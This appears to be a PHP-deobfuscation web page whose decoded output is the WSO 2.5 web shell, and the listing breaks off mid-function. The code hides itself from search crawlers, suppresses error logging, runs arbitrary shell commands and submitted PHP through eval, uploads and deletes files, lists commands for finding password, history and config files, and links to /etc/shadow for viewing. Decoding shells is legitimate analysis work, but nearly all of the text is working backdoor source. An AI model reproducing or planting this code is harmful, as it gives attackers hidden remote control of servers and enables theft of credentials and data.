Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $IQtJK = 'str'.'rev'; $gKfaz = 'bas'.'e64'.'_deco'.'de'; $uMZpV = 's'.'tr'.'_'.'rot1..

Decoded Output download



if (!function_exists('iconv') && function_exists('libiconv')) {
    function iconv($input_encoding, $output_encoding, $string) {
        return libiconv($input_encoding, $output_encoding, $string);
    }
}
if (!function_exists('iconv') && function_exists('mb_convert_encoding')) {
	function iconv($from_encoding, $to_encoding, $string){
		return mb_convert_encoding($string, $to_encoding, $from_encoding);
	}
}
if (!function_exists('iconv')) {
	function iconv($from_encoding, $to_encoding, $string){
		return html_entity_decode(htmlentities($string, ENT_QUOTES, $from_encoding), ENT_QUOTES , $to_encoding);
	}
}

$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
	@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(function_exists("get_magic_quotes_gpc")){
	if(get_magic_quotes_gpc()) {
		function WSOstripslashes($array) {
			return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
		}
		$_POST = WSOstripslashes($_POST);
		$_COOKIE = WSOstripslashes($_COOKIE);
	}
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';


$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
		//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan', 'Console'=>'Console','Sql'=>'Sql', 'UPdate/UPgrade' => 'UPDate', 'Php'=>'Php', 'String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v){
		if($k == 'UPdate/UPgrade'){
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')"><font color="#25ff00">'.$k.'</font></a> ]</th>';
		}else{
			$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
		}
	}
	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		if(function_exists('posix_getpwuid')){
			$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		}else{
			$ow = '';
		}
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
